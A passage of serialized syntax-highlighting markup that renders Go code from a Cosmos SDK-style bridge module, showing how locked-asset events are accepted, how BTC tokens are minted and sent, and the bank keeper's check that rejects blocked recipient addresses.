req",{"type":24,"tag":90,"props":83608,"children":83609},{"style":120},[83610],{"type":29,"value":366},{"type":24,"tag":90,"props":83612,"children":83613},{"style":146},[83614],{"type":29,"value":83615},"cmtabci",{"type":24,"tag":90,"props":83617,"children":83618},{"style":114},[83619],{"type":29,"value":226},{"type":24,"tag":90,"props":83621,"children":83622},{"style":146},[83623],{"type":29,"value":83624},"RequestFinalizeBlock",{"type":24,"tag":90,"props":83626,"children":83627},{"style":114},[83628],{"type":29,"value":748},{"type":24,"tag":90,"props":83630,"children":83631},{"class":92,"line":258},[83632,83636,83640,83644,83648,83653,83657,83661],{"type":24,"tag":90,"props":83633,"children":83634},{"style":114},[83635],{"type":29,"value":81907},{"type":24,"tag":90,"props":83637,"children":83638},{"style":120},[83639],{"type":29,"value":983},{"type":24,"tag":90,"props":83641,"children":83642},{"style":146},[83643],{"type":29,"value":80560},{"type":24,"tag":90,"props":83645,"children":83646},{"style":114},[83647],{"type":29,"value":226},{"type":24,"tag":90,"props":83649,"children":83650},{"style":146},[83651],{"type":29,"value":83652},"ResponsePreBlock",{"type":24,"tag":90,"props":83654,"children":83655},{"style":114},[83656],{"type":29,"value":133},{"type":24,"tag":90,"props":83658,"children":83659},{"style":146},[83660],{"type":29,"value":1357},{"type":24,"tag":90,"props":83662,"children":83663},{"style":114},[83664],{"type":29,"value":1297},{"type":24,"tag":90,"props":83666,"children":83667},{"class":92,"line":272},[83668],{"type":24,"tag":90,"props":83669,"children":83670},{"style":120},[83671],{"type":29,"value":83672}," ...\n",{"type":24,"tag":90,"props":83674,"children":83675},{"class":92,"line":281},[83676,83681,83685,83690,83694,83699,83703,83708,83712,83716,83720,83725],{"type":24,"tag":90,"props":83677,"children":83678},{"style":136},[83679],{"type":29,"value":83680}," err",{"type":24,"tag":90,"props":83682,"children":83683},{"style":120},[83684],{"type":29,"value":78246},{"type":24,"tag":90,"props":83686,"children":83687},{"style":136},[83688],{"type":29,"value":83689}," pbh",{"type":24,"tag":90,"props":83691,"children":83692},{"style":114},[83693],{"type":29,"value":226},{"type":24,"tag":90,"props":83695,"children":83696},{"style":136},[83697],{"type":29,"value":83698},"bridgeKeeper",{"type":24,"tag":90,"props":83700,"children":83701},{"style":114},[83702],{"type":29,"value":226},{"type":24,"tag":90,"props":83704,"children":83705},{"style":108},[83706],{"type":29,"value":83707},"AcceptAssetsLocked",{"type":24,"tag":90,"props":83709,"children":83710},{"style":114},[83711],{"type":29,"value":117},{"type":24,"tag":90,"props":83713,"children":83714},{"style":136},[83715],{"type":29,"value":22076},{"type":24,"tag":90,"props":83717,"children":83718},{"style":114},[83719],{"type":29,"value":133},{"type":24,"tag":90,"props":83721,"children":83722},{"style":136},[83723],{"type":29,"value":83724},"events",{"type":24,"tag":90,"props":83726,"children":83727},{"style":114},[83728],{"type":29,"value":1686},{"type":24,"tag":90,"props":83730,"children":83731},{"class":92,"line":384},[83732,83736,83740,83744,83749],{"type":24,"tag":90,"props":83733,"children":83734},{"style":636},[83735],{"type":29,"value":5667},{"type":24,"tag":90,"props":83737,"children":83738},{"style":136},[83739],{"type":29,"value":50344},{"type":24,"tag":90,"props":83741,"children":83742},{"style":120},[83743],{"type":29,"value":66213},{"type":24,"tag":90,"props":83745,"children":83746},{"style":97},[83747],{"type":29,"value":83748}," nil",{"type":24,"tag":90,"props":83750,"children":83751},{"style":114},[83752],{"type":29,"value":269},{"type":24,"tag":90,"props":83754,"children":83755},{"class":92,"line":420},[83756,83760,83764,83768,83773,83777,83782,83786,83791,83795,83799],{"type":24,"tag":90,"props":83757,"children":83758},{"style":636},[83759],{"type":29,"value":80906},{"type":24,"tag":90,"props":83761,"children":83762},{"style":97},[83763],{"type":29,"value":83748},{"type":24,"tag":90,"props":83765,"children":83766},{"style":114},[83767],{"type":29,"value":133},{"type":24,"tag":90,"props":83769,"children":83770},{"style":136},[83771],{"type":29,"value":83772},"fmt",{"type":24,"tag":90,"props":83774,"children":83775},{"style":114},[83776],{"type":29,"value":226},{"type":24,"tag":90,"props":83778,"children":83779},{"style":108},[83780],{"type":29,"value":83781},"Errorf",{"type":24,"tag":90,"props":83783,"children":83784},{"style":114},[83785],{"type":29,"value":117},{"type":24,"tag":90,"props":83787,"children":83788},{"style":1085},[83789],{"type":29,"value":83790},"\"cannot accept AssetsLocked events: %w\"",{"type":24,"tag":90,"props":83792,"children":83793},{"style":114},[83794],{"type":29,"value":133},{"type":24,"tag":90,"props":83796,"children":83797},{"style":136},[83798],{"type":29,"value":50243},{"type":24,"tag":90,"props":83800,"children":83801},{"style":114},[83802],{"type":29,"value":1686},{"type":24,"tag":90,"props":83804,"children":83805},{"class":92,"line":428},[83806],{"type":24,"tag":90,"props":83807,"children":83808},{"style":114},[83809],{"type":29,"value":5740},{"type":24,"tag":90,"props":83811,"children":83812},{"class":92,"line":437},[83813],{"type":24,"tag":90,"props":83814,"children":83815},{"style":120},[83816],{"type":29,"value":83672},{"type":24,"tag":90,"props":83818,"children":83819},{"class":92,"line":574},[83820],{"type":24,"tag":90,"props":83821,"children":83822},{"style":114},[83823],{"type":29,"value":612},{"type":24,"tag":90,"props":83825,"children":83826},{"class":92,"line":606},[83827],{"type":24,"tag":90,"props":83828,"children":83829},{"style":114},[83830],{"type":29,"value":827},{"type":24,"tag":90,"props":83832,"children":83833},{"class":92,"line":615},[83834],{"type":24,"tag":90,"props":83835,"children":83836},{"emptyLinePlaceholder":16},[83837],{"type":29,"value":245},{"type":24,"tag":90,"props":83839,"children":83840},{"class":92,"line":623},[83841,83845,83849,83853,83857,83861,83865],{"type":24,"tag":90,"props":83842,"children":83843},{"style":97},[83844],{"type":29,"value":78130},{"type":24,"tag":90,"props":83846,"children":83847},{"style":114},[83848],{"type":29,"value":1151},{"type":24,"tag":90,"props":83850,"children":83851},{"style":136},[83852],{"type":29,"value":82958},{"type":24,"tag":90,"props":83854,"children":83855},{"style":146},[83856],{"type":29,"value":81775},{"type":24,"tag":90,"props":83858,"children":83859},{"style":114},[83860],{"type":29,"value":172},{"type":24,"tag":90,"props":83862,"children":83863},{"style":108},[83864],{"type":29,"value":83707},{"type":24,"tag":90,"props":83866,"children":83867},{"style":114},[83868],{"type":29,"value":680},{"type":24,"tag":90,"props":83870,"children":83871},{"class":92,"line":632},[83872,83876,83880,83884,83888],{"type":24,"tag":90,"props":83873,"children":83874},{"style":136},[83875],{"type":29,"value":22019},{"type":24,"tag":90,"props":83877,"children":83878},{"style":146},[83879],{"type":29,"value":80471},{"type":24,"tag":90,"props":83881,"children":83882},{"style":114},[83883],{"type":29,"value":226},{"type":24,"tag":90,"props":83885,"children":83886},{"style":146},[83887],{"type":29,"value":78179},{"type":24,"tag":90,"props":83889,"children":83890},{"style":114},[83891],{"type":29,"value":748},{"type":24,"tag":90,"props":83893,"children":83894},{"class":92,"line":669},[83895,83900,83904,83908,83913],{"type":24,"tag":90,"props":83896,"children":83897},{"style":136},[83898],{"type":29,"value":83899}," events",{"type":24,"tag":90,"props":83901,"children":83902},{"style":146},[83903],{"type":29,"value":80005},{"type":24,"tag":90,"props":83905,"children":83906},{"style":114},[83907],{"type":29,"value":226},{"type":24,"tag":90,"props":83909,"children":83910},{"style":146},[83911],{"type":29,"value":83912},"AssetsLockedEvents",{"type":24,"tag":90,"props":83914,"children":83915},{"style":114},[83916],{"type":29,"value":748},{"type":24,"tag":90,"props":83918,"children":83919},{"class":92,"line":683},[83920,83924,83928],{"type":24,"tag":90,"props":83921,"children":83922},{"style":114},[83923],{"type":29,"value":172},{"type":24,"tag":90,"props":83925,"children":83926},{"style":146},[83927],{"type":29,"value":1357},{"type":24,"tag":90,"props":83929,"children":83930},{"style":114},[83931],{"type":29,"value":269},{"type":24,"tag":90,"props":83933,"children":83934},{"class":92,"line":737},[83935],{"type":24,"tag":90,"props":83936,"children":83937},{"style":120},[83938],{"type":29,"value":22135},{"type":24,"tag":90,"props":83940,"children":83941},{"class":92,"line":751},[83942,83946,83950,83954,83959,83963,83967,83972],{"type":24,"tag":90,"props":83943,"children":83944},{"style":636},[83945],{"type":29,"value":5434},{"type":24,"tag":90,"props":83947,"children":83948},{"style":136},[83949],{"type":29,"value":3990},{"type":24,"tag":90,"props":83951,"children":83952},{"style":114},[83953],{"type":29,"value":133},{"type":24,"tag":90,"props":83955,"children":83956},{"style":136},[83957],{"type":29,"value":83958},"event",{"type":24,"tag":90,"props":83960,"children":83961},{"style":120},[83962],{"type":29,"value":78246},{"type":24,"tag":90,"props":83964,"children":83965},{"style":636},[83966],{"type":29,"value":79229},{"type":24,"tag":90,"props":83968,"children":83969},{"style":136},[83970],{"type":29,"value":83971}," events",{"type":24,"tag":90,"props":83973,"children":83974},{"style":114},[83975],{"type":29,"value":269},{"type":24,"tag":90,"props":83977,"children":83978},{"class":92,"line":782},[83979,83984,83988,83992,83996,84000,84004,84009,84013,84017,84021,84026],{"type":24,"tag":90,"props":83980,"children":83981},{"style":136},[83982],{"type":29,"value":83983}," recipient",{"type":24,"tag":90,"props":83985,"children":83986},{"style":114},[83987],{"type":29,"value":133},{"type":24,"tag":90,"props":83989,"children":83990},{"style":136},[83991],{"type":29,"value":50243},{"type":24,"tag":90,"props":83993,"children":83994},{"style":120},[83995],{"type":29,"value":78246},{"type":24,"tag":90,"props":83997,"children":83998},{"style":136},[83999],{"type":29,"value":80471},{"type":24,"tag":90,"props":84001,"children":84002},{"style":114},[84003],{"type":29,"value":226},{"type":24,"tag":90,"props":84005,"children":84006},{"style":108},[84007],{"type":29,"value":84008},"AccAddressFromBech32",{"type":24,"tag":90,"props":84010,"children":84011},{"style":114},[84012],{"type":29,"value":117},{"type":24,"tag":90,"props":84014,"children":84015},{"style":136},[84016],{"type":29,"value":83958},{"type":24,"tag":90,"props":84018,"children":84019},{"style":114},[84020],{"type":29,"value":226},{"type":24,"tag":90,"props":84022,"children":84023},{"style":136},[84024],{"type":29,"value":84025},"Recipient",{"type":24,"tag":90,"props":84027,"children":84028},{"style":114},[84029],{"type":29,"value":1686},{"type":24,"tag":90,"props":84031,"children":84032},{"class":92,"line":791},[84033,84037,84041,84045,84049],{"type":24,"tag":90,"props":84034,"children":84035},{"style":636},[84036],{"type":29,"value":5667},{"type":24,"tag":90,"props":84038,"children":84039},{"style":136},[84040],{"type":29,"value":50344},{"type":24,"tag":90,"props":84042,"children":84043},{"style":120},[84044],{"type":29,"value":66213},{"type":24,"tag":90,"props":84046,"children":84047},{"style":97},[84048],{"type":29,"value":83748},{"type":24,"tag":90,"props":84050,"children":84051},{"style":114},[84052],{"type":29,"value":269},{"type":24,"tag":90,"props":84054,"children":84055},{"class":92,"line":799},[84056,84060,84065,84069,84073,84077,84082,84086,84090],{"type":24,"tag":90,"props":84057,"children":84058},{"style":636},[84059],{"type":29,"value":80906},{"type":24,"tag":90,"props":84061,"children":84062},{"style":136},[84063],{"type":29,"value":84064}," fmt",{"type":24,"tag":90,"props":84066,"children":84067},{"style":114},[84068],{"type":29,"value":226},{"type":24,"tag":90,"props":84070,"children":84071},{"style":108},[84072],{"type":29,"value":83781},{"type":24,"tag":90,"props":84074,"children":84075},{"style":114},[84076],{"type":29,"value":117},{"type":24,"tag":90,"props":84078,"children":84079},{"style":1085},[84080],{"type":29,"value":84081},"\"failed to parse recipient address: %w\"",{"type":24,"tag":90,"props":84083,"children":84084},{"style":114},[84085],{"type":29,"value":133},{"type":24,"tag":90,"props":84087,"children":84088},{"style":136},[84089],{"type":29,"value":50243},{"type":24,"tag":90,"props":84091,"children":84092},{"style":114},[84093],{"type":29,"value":1686},{"type":24,"tag":90,"props":84095,"children":84096},{"class":92,"line":807},[84097],{"type":24,"tag":90,"props":84098,"children":84099},{"style":114},[84100],{"type":29,"value":5740},{"type":24,"tag":90,"props":84102,"children":84103},{"class":92,"line":821},[84104],{"type":24,"tag":90,"props":84105,"children":84106},{"emptyLinePlaceholder":16},[84107],{"type":29,"value":245},{"type":24,"tag":90,"props":84109,"children":84110},{"class":92,"line":6278},[84111,84115,84120,84124,84129,84133,84137,84141,84146,84150,84155],{"type":24,"tag":90,"props":84112,"children":84113},{"style":636},[84114],{"type":29,"value":5667},{"type":24,"tag":90,"props":84116,"children":84117},{"style":136},[84118],{"type":29,"value":84119}," bytes",{"type":24,"tag":90,"props":84121,"children":84122},{"style":114},[84123],{"type":29,"value":226},{"type":24,"tag":90,"props":84125,"children":84126},{"style":108},[84127],{"type":29,"value":84128},"Equal",{"type":24,"tag":90,"props":84130,"children":84131},{"style":114},[84132],{"type":29,"value":117},{"type":24,"tag":90,"props":84134,"children":84135},{"style":136},[84136],{"type":29,"value":83958},{"type":24,"tag":90,"props":84138,"children":84139},{"style":114},[84140],{"type":29,"value":226},{"type":24,"tag":90,"props":84142,"children":84143},{"style":108},[84144],{"type":29,"value":84145},"TokenBytes",{"type":24,"tag":90,"props":84147,"children":84148},{"style":114},[84149],{"type":29,"value":4900},{"type":24,"tag":90,"props":84151,"children":84152},{"style":136},[84153],{"type":29,"value":84154},"sourceBTCToken",{"type":24,"tag":90,"props":84156,"children":84157},{"style":114},[84158],{"type":29,"value":1297},{"type":24,"tag":90,"props":84160,"children":84161},{"class":92,"line":11420},[84162,84167,84171,84175,84179,84184,84188,84192,84196,84200,84204,84208,84212,84216],{"type":24,"tag":90,"props":84163,"children":84164},{"style":136},[84165],{"type":29,"value":84166}," err",{"type":24,"tag":90,"props":84168,"children":84169},{"style":120},[84170],{"type":29,"value":216},{"type":24,"tag":90,"props":84172,"children":84173},{"style":136},[84174],{"type":29,"value":83086},{"type":24,"tag":90,"props":84176,"children":84177},{"style":114},[84178],{"type":29,"value":226},{"type":24,"tag":90,"props":84180,"children":84181},{"style":108},[84182],{"type":29,"value":84183},"mintBTC",{"type":24,"tag":90,"props":84185,"children":84186},{"style":114},[84187],{"type":29,"value":117},{"type":24,"tag":90,"props":84189,"children":84190},{"style":136},[84191],{"type":29,"value":22076},{"type":24,"tag":90,"props":84193,"children":84194},{"style":114},[84195],{"type":29,"value":133},{"type":24,"tag":90,"props":84197,"children":84198},{"style":136},[84199],{"type":29,"value":83481},{"type":24,"tag":90,"props":84201,"children":84202},{"style":114},[84203],{"type":29,"value":133},{"type":24,"tag":90,"props":84205,"children":84206},{"style":136},[84207],{"type":29,"value":83958},{"type":24,"tag":90,"props":84209,"children":84210},{"style":114},[84211],{"type":29,"value":226},{"type":24,"tag":90,"props":84213,"children":84214},{"style":136},[84215],{"type":29,"value":80885},{"type":24,"tag":90,"props":84217,"children":84218},{"style":114},[84219],{"type":29,"value":1686},{"type":24,"tag":90,"props":84221,"children":84222},{"class":92,"line":11438},[84223,84227,84231,84235,84239],{"type":24,"tag":90,"props":84224,"children":84225},{"style":636},[84226],{"type":29,"value":60626},{"type":24,"tag":90,"props":84228,"children":84229},{"style":136},[84230],{"type":29,"value":50344},{"type":24,"tag":90,"props":84232,"children":84233},{"style":120},[84234],{"type":29,"value":66213},{"type":24,"tag":90,"props":84236,"children":84237},{"style":97},[84238],{"type":29,"value":83748},{"type":24,"tag":90,"props":84240,"children":84241},{"style":114},[84242],{"type":29,"value":269},{"type":24,"tag":90,"props":84244,"children":84245},{"class":92,"line":11483},[84246,84250,84254,84258,84262],{"type":24,"tag":90,"props":84247,"children":84248},{"style":636},[84249],{"type":29,"value":62554},{"type":24,"tag":90,"props":84251,"children":84252},{"style":136},[84253],{"type":29,"value":84064},{"type":24,"tag":90,"props":84255,"children":84256},{"style":114},[84257],{"type":29,"value":226},{"type":24,"tag":90,"props":84259,"children":84260},{"style":108},[84261],{"type":29,"value":83781},{"type":24,"tag":90,"props":84263,"children":84264},{"style":114},[84265],{"type":29,"value":680},{"type":24,"tag":90,"props":84267,"children":84268},{"class":92,"line":11589},[84269,84274],{"type":24,"tag":90,"props":84270,"children":84271},{"style":1085},[84272],{"type":29,"value":84273}," \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":90,"props":84275,"children":84276},{"style":114},[84277],{"type":29,"value":748},{"type":24,"tag":90,"props":84279,"children":84280},{"class":92,"line":25306},[84281,84286,84290,84295],{"type":24,"tag":90,"props":84282,"children":84283},{"style":136},[84284],{"type":29,"value":84285}," event",{"type":24,"tag":90,"props":84287,"children":84288},{"style":114},[84289],{"type":29,"value":226},{"type":24,"tag":90,"props":84291,"children":84292},{"style":136},[84293],{"type":29,"value":84294},"Sequence",{"type":24,"tag":90,"props":84296,"children":84297},{"style":114},[84298],{"type":29,"value":748},{"type":24,"tag":90,"props":84300,"children":84301},{"class":92,"line":25341},[84302,84307],{"type":24,"tag":90,"props":84303,"children":84304},{"style":136},[84305],{"type":29,"value":84306}," err",{"type":24,"tag":90,"props":84308,"children":84309},{"style":114},[84310],{"type":29,"value":748},{"type":24,"tag":90,"props":84312,"children":84313},{"class":92,"line":25349},[84314],{"type":24,"tag":90,"props":84315,"children":84316},{"style":114},[84317],{"type":29,"value":84318}," )\n",{"type":24,"tag":90,"props":84320,"children":84321},{"class":92,"line":25357},[84322],{"type":24,"tag":90,"props":84323,"children":84324},{"style":114},[84325],{"type":29,"value":60710},{"type":24,"tag":90,"props":84327,"children":84328},{"class":92,"line":25366},[84329,84333,84337],{"type":24,"tag":90,"props":84330,"children":84331},{"style":114},[84332],{"type":29,"value":5704},{"type":24,"tag":90,"props":84334,"children":84335},{"style":636},[84336],{"type":29,"value":2293},{"type":24,"tag":90,"props":84338,"children":84339},{"style":114},[84340],{"type":29,"value":269},{"type":24,"tag":90,"props":84342,"children":84343},{"class":92,"line":25408},[84344],{"type":24,"tag":90,"props":84345,"children":84346},{"style":120},[84347],{"type":29,"value":84348}," ...\n",{"type":24,"tag":90,"props":84350,"children":84351},{"class":92,"line":25441},[84352],{"type":24,"tag":90,"props":84353,"children":84354},{"style":114},[84355],{"type":29,"value":5740},{"type":24,"tag":90,"props":84357,"children":84358},{"class":92,"line":25449},[84359],{"type":24,"tag":90,"props":84360,"children":84361},{"style":114},[84362],{"type":29,"value":612},{"type":24,"tag":90,"props":84364,"children":84365},{"class":92,"line":25457},[84366],{"type":24,"tag":90,"props":84367,"children":84368},{"style":120},[84369],{"type":29,"value":22135},{"type":24,"tag":90,"props":84371,"children":84372},{"class":92,"line":25466},[84373],{"type":24,"tag":90,"props":84374,"children":84375},{"style":114},[84376],{"type":29,"value":827},{"type":24,"tag":90,"props":84378,"children":84379},{"class":92,"line":25542},[84380],{"type":24,"tag":90,"props":84381,"children":84382},{"emptyLinePlaceholder":16},[84383],{"type":29,"value":245},{"type":24,"tag":90,"props":84385,"children":84386},{"class":92,"line":25575},[84387,84391,84395,84399,84403,84407,84411],{"type":24,"tag":90,"props":84388,"children":84389},{"style":97},[84390],{"type":29,"value":78130},{"type":24,"tag":90,"props":84392,"children":84393},{"style":114},[84394],{"type":29,"value":1151},{"type":24,"tag":90,"props":84396,"children":84397},{"style":136},[84398],{"type":29,"value":82958},{"type":24,"tag":90,"props":84400,"children":84401},{"style":146},[84402],{"type":29,"value":81775},{"type":24,"tag":90,"props":84404,"children":84405},{"style":114},[84406],{"type":29,"value":172},{"type":24,"tag":90,"props":84408,"children":84409},{"style":108},[84410],{"type":29,"value":84183},{"type":24,"tag":90,"props":84412,"children":84413},{"style":114},[84414],{"type":29,"value":680},{"type":24,"tag":90,"props":84416,"children":84417},{"class":92,"line":25583},[84418,84422,84426,84430,84434],{"type":24,"tag":90,"props":84419,"children":84420},{"style":136},[84421],{"type":29,"value":22019},{"type":24,"tag":90,"props":84423,"children":84424},{"style":146},[84425],{"type":29,"value":80471},{"type":24,"tag":90,"props":84427,"children":84428},{"style":114},[84429],{"type":29,"value":226},{"type":24,"tag":90,"props":84431,"children":84432},{"style":146},[84433],{"type":29,"value":78179},{"type":24,"tag":90,"props":84435,"children":84436},{"style":114},[84437],{"type":29,"value":748},{"type":24,"tag":90,"props":84439,"children":84440},{"class":92,"line":25591},[84441,84446,84450,84454,84459],{"type":24,"tag":90,"props":84442,"children":84443},{"style":136},[84444],{"type":29,"value":84445}," recipient",{"type":24,"tag":90,"props":84447,"children":84448},{"style":146},[84449],{"type":29,"value":80471},{"type":24,"tag":90,"props":84451,"children":84452},{"style":114},[84453],{"type":29,"value":226},{"type":24,"tag":90,"props":84455,"children":84456},{"style":146},[84457],{"type":29,"value":84458},"AccAddress",{"type":24,"tag":90,"props":84460,"children":84461},{"style":114},[84462],{"type":29,"value":748},{"type":24,"tag":90,"props":84464,"children":84465},{"class":92,"line":25628},[84466,84470,84475,84479,84484],{"type":24,"tag":90,"props":84467,"children":84468},{"style":136},[84469],{"type":29,"value":63408},{"type":24,"tag":90,"props":84471,"children":84472},{"style":146},[84473],{"type":29,"value":84474}," math",{"type":24,"tag":90,"props":84476,"children":84477},{"style":114},[84478],{"type":29,"value":226},{"type":24,"tag":90,"props":84480,"children":84481},{"style":146},[84482],{"type":29,"value":84483},"Int",{"type":24,"tag":90,"props":84485,"children":84486},{"style":114},[84487],{"type":29,"value":748},{"type":24,"tag":90,"props":84489,"children":84490},{"class":92,"line":25641},[84491,84495,84499],{"type":24,"tag":90,"props":84492,"children":84493},{"style":114},[84494],{"type":29,"value":172},{"type":24,"tag":90,"props":84496,"children":84497},{"style":146},[84498],{"type":29,"value":1357},{"type":24,"tag":90,"props":84500,"children":84501},{"style":114},[84502],{"type":29,"value":269},{"type":24,"tag":90,"props":84504,"children":84505},{"class":92,"line":25654},[84506],{"type":24,"tag":90,"props":84507,"children":84508},{"style":120},[84509],{"type":29,"value":22135},{"type":24,"tag":90,"props":84511,"children":84512},{"class":92,"line":25667},[84513,84518,84522,84526,84530,84535,84539,84543],{"type":24,"tag":90,"props":84514,"children":84515},{"style":136},[84516],{"type":29,"value":84517}," err",{"type":24,"tag":90,"props":84519,"children":84520},{"style":120},[84521],{"type":29,"value":216},{"type":24,"tag":90,"props":84523,"children":84524},{"style":136},[84525],{"type":29,"value":83086},{"type":24,"tag":90,"props":84527,"children":84528},{"style":114},[84529],{"type":29,"value":226},{"type":24,"tag":90,"props":84531,"children":84532},{"style":136},[84533],{"type":29,"value":84534},"bankKeeper",{"type":24,"tag":90,"props":84536,"children":84537},{"style":114},[84538],{"type":29,"value":226},{"type":24,"tag":90,"props":84540,"children":84541},{"style":108},[84542],{"type":29,"value":83473},{"type":24,"tag":90,"props":84544,"children":84545},{"style":114},[84546],{"type":29,"value":680},{"type":24,"tag":90,"props":84548,"children":84549},{"class":92,"line":25721},[84550,84554],{"type":24,"tag":90,"props":84551,"children":84552},{"style":136},[84553],{"type":29,"value":27995},{"type":24,"tag":90,"props":84555,"children":84556},{"style":114},[84557],{"type":29,"value":748},{"type":24,"tag":90,"props":84559,"children":84560},{"class":92,"line":25730},[84561,84566,84570,84575],{"type":24,"tag":90,"props":84562,"children":84563},{"style":136},[84564],{"type":29,"value":84565}," types",{"type":24,"tag":90,"props":84567,"children":84568},{"style":114},[84569],{"type":29,"value":226},{"type":24,"tag":90,"props":84571,"children":84572},{"style":136},[84573],{"type":29,"value":84574},"ModuleName",{"type":24,"tag":90,"props":84576,"children":84577},{"style":114},[84578],{"type":29,"value":748},{"type":24,"tag":90,"props":84580,"children":84581},{"class":92,"line":34094},[84582,84586],{"type":24,"tag":90,"props":84583,"children":84584},{"style":136},[84585],{"type":29,"value":83983},{"type":24,"tag":90,"props":84587,"children":84588},{"style":114},[84589],{"type":29,"value":748},{"type":24,"tag":90,"props":84591,"children":84592},{"class":92,"line":34115},[84593,84598],{"type":24,"tag":90,"props":84594,"children":84595},{"style":136},[84596],{"type":29,"value":84597}," coins",{"type":24,"tag":90,"props":84599,"children":84600},{"style":114},[84601],{"type":29,"value":748},{"type":24,"tag":90,"props":84603,"children":84604},{"class":92,"line":82781},[84605],{"type":24,"tag":90,"props":84606,"children":84607},{"style":114},[84608],{"type":29,"value":25727},{"type":24,"tag":90,"props":84610,"children":84611},{"class":92,"line":82794},[84612,84616,84620,84624,84628],{"type":24,"tag":90,"props":84613,"children":84614},{"style":636},[84615],{"type":29,"value":639},{"type":24,"tag":90,"props":84617,"children":84618},{"style":136},[84619],{"type":29,"value":50344},{"type":24,"tag":90,"props":84621,"children":84622},{"style":120},[84623],{"type":29,"value":66213},{"type":24,"tag":90,"props":84625,"children":84626},{"style":97},[84627],{"type":29,"value":83748},{"type":24,"tag":90,"props":84629,"children":84630},{"style":114},[84631],{"type":29,"value":269},{"type":24,"tag":90,"props":84633,"children":84634},{"class":92,"line":82802},[84635,84639,84643,84647,84651,84655,84660,84664,84668],{"type":24,"tag":90,"props":84636,"children":84637},{"style":636},[84638],{"type":29,"value":2253},{"type":24,"tag":90,"props":84640,"children":84641},{"style":136},[84642],{"type":29,"value":84064},{"type":24,"tag":90,"props":84644,"children":84645},{"style":114},[84646],{"type":29,"value":226},{"type":24,"tag":90,"props":84648,"children":84649},{"style":108},[84650],{"type":29,"value":83781},{"type":24,"tag":90,"props":84652,"children":84653},{"style":114},[84654],{"type":29,"value":117},{"type":24,"tag":90,"props":84656,"children":84657},{"style":1085},[84658],{"type":29,"value":84659},"\"failed to send coins: %w\"",{"type":24,"tag":90,"props":84661,"children":84662},{"style":114},[84663],{"type":29,"value":133},{"type":24,"tag":90,"props":84665,"children":84666},{"style":136},[84667],{"type":29,"value":50243},{"type":24,"tag":90,"props":84669,"children":84670},{"style":114},[84671],{"type":29,"value":1686},{"type":24,"tag":90,"props":84673,"children":84674},{"class":92,"line":82810},[84675],{"type":24,"tag":90,"props":84676,"children":84677},{"style":114},[84678],{"type":29,"value":612},{"type":24,"tag":90,"props":84680,"children":84681},{"class":92,"line":82818},[84682],{"type":24,"tag":90,"props":84683,"children":84684},{"style":120},[84685],{"type":29,"value":22135},{"type":24,"tag":90,"props":84687,"children":84688},{"class":92,"line":82858},[84689],{"type":24,"tag":90,"props":84690,"children":84691},{"style":114},[84692],{"type":29,"value":827},{"type":24,"tag":80,"props":84694,"children":84696},{"code":84695,"language":77994,"meta":7,"className":77995,"style":7},"func (k BaseKeeper) SendCoinsFromModuleToAccount(\n ctx context.Context, senderModule string, recipientAddr sdk.AccAddress, amt sdk.Coins,\n) error {\n ...\n if k.BlockedAddr(recipientAddr) {\n return errorsmod.Wrapf(sdkerrors.ErrUnauthorized, \"%s is not allowed to receive funds\", recipientAddr)\n }\n ...\n}\n",[84697],{"type":24,"tag":32,"props":84698,"children":84699},{"__ignoreMap":7},[84700,84732,84811,84826,84834,84865,84923,84930,84937],{"type":24,"tag":90,"props":84701,"children":84702},{"class":92,"line":93},[84703,84707,84711,84715,84720,84724,84728],{"type":24,"tag":90,"props":84704,"children":84705},{"style":97},[84706],{"type":29,"value":78130},{"type":24,"tag":90,"props":84708,"children":84709},{"style":114},[84710],{"type":29,"value":1151},{"type":24,"tag":90,"props":84712,"children":84713},{"style":136},[84714],{"type":29,"value":82958},{"type":24,"tag":90,"props":84716,"children":84717},{"style":146},[84718],{"type":29,"value":84719},"BaseKeeper",{"type":24,"tag":90,"props":84721,"children":84722},{"style":114},[84723],{"type":29,"value":172},{"type":24,"tag":90,"props":84725,"children":84726},{"style":108},[84727],{"type":29,"value":83473},{"type":24,"tag":90,"props":84729,"children":84730},{"style":114},[84731],{"type":29,"value":680},{"type":24,"tag":90,"props":84733,"children":84734},{"class":92,"line":200},[84735,84739,84743,84747,84751,84755,84760,84764,84768,84773,84777,84781,84785,84789,84794,84798,84802,84807],{"type":24,"tag":90,"props":84736,"children":84737},{"style":136},[84738],{"type":29,"value":27652},{"type":24,"tag":90,"props":84740,"children":84741},{"style":146},[84742],{"type":29,"value":78170},{"type":24,"tag":90,"props":84744,"children":84745},{"style":114},[84746],{"type":29,"value":226},{"type":24,"tag":90,"props":84748,"children":84749},{"style":146},[84750],{"type":29,"value":78179},{"type":24,"tag":90,"props":84752,"children":84753},{"style":114},[84754],{"type":29,"value":133},{"type":24,"tag":90,"props":84756,"children":84757},{"style":136},[84758],{"type":29,"value":84759},"senderModule",{"type":24,"tag":90,"props":84761,"children":84762},{"style":146},[84763],{"type":29,"value":37845},{"type":24,"tag":90,"props":84765,"children":84766},{"style":114},[84767],{"type":29,"value":133},{"type":24,"tag":90,"props":84769,"children":84770},{"style":136},[84771],{"type":29,"value":84772},"recipientAddr",{"type":24,"tag":90,"props":84774,"children":84775},{"style":146},[84776],{"type":29,"value":80471},{"type":24,"tag":90,"props":84778,"children":84779},{"style":114},[84780],{"type":29,"value":226},{"type":24,"tag":90,"props":84782,"children":84783},{"style":146},[84784],{"type":29,"value":84458},{"type":24,"tag":90,"props":84786,"children":84787},{"style":114},[84788],{"type":29,"value":133},{"type":24,"tag":90,"props":84790,"children":84791},{"style":136},[84792],{"type":29,"value":84793},"amt",{"type":24,"tag":90,"props":84795,"children":84796},{"style":146},[84797],{"type":29,"value":80471},{"type":24,"tag":90,"props":84799,"children":84800},{"style":114},[84801],{"type":29,"value":226},{"type":24,"tag":90,"props":84803,"children":84804},{"style":146},[84805],{"type":29,"value":84806},"Coins",{"type":24,"tag":90,"props":84808,"children":84809},{"style":114},[84810],{"type":29,"value":748},{"type":24,"tag":90,"props":84812,"children":84813},{"class":92,"line":239},[84814,84818,84822],{"type":24,"tag":90,"props":84815,"children":84816},{"style":114},[84817],{"type":29,"value":172},{"type":24,"tag":90,"props":84819,"children":84820},{"style":146},[84821],{"type":29,"value":1357},{"type":24,"tag":90,"props":84823,"children":84824},{"style":114},[84825],{"type":29,"value":269},{"type":24,"tag":90,"props":84827,"children":84828},{"class":92,"line":248},[84829],{"type":24,"tag":90,"props":84830,"children":84831},{"style":120},[84832],{"type":29,"value":84833}," 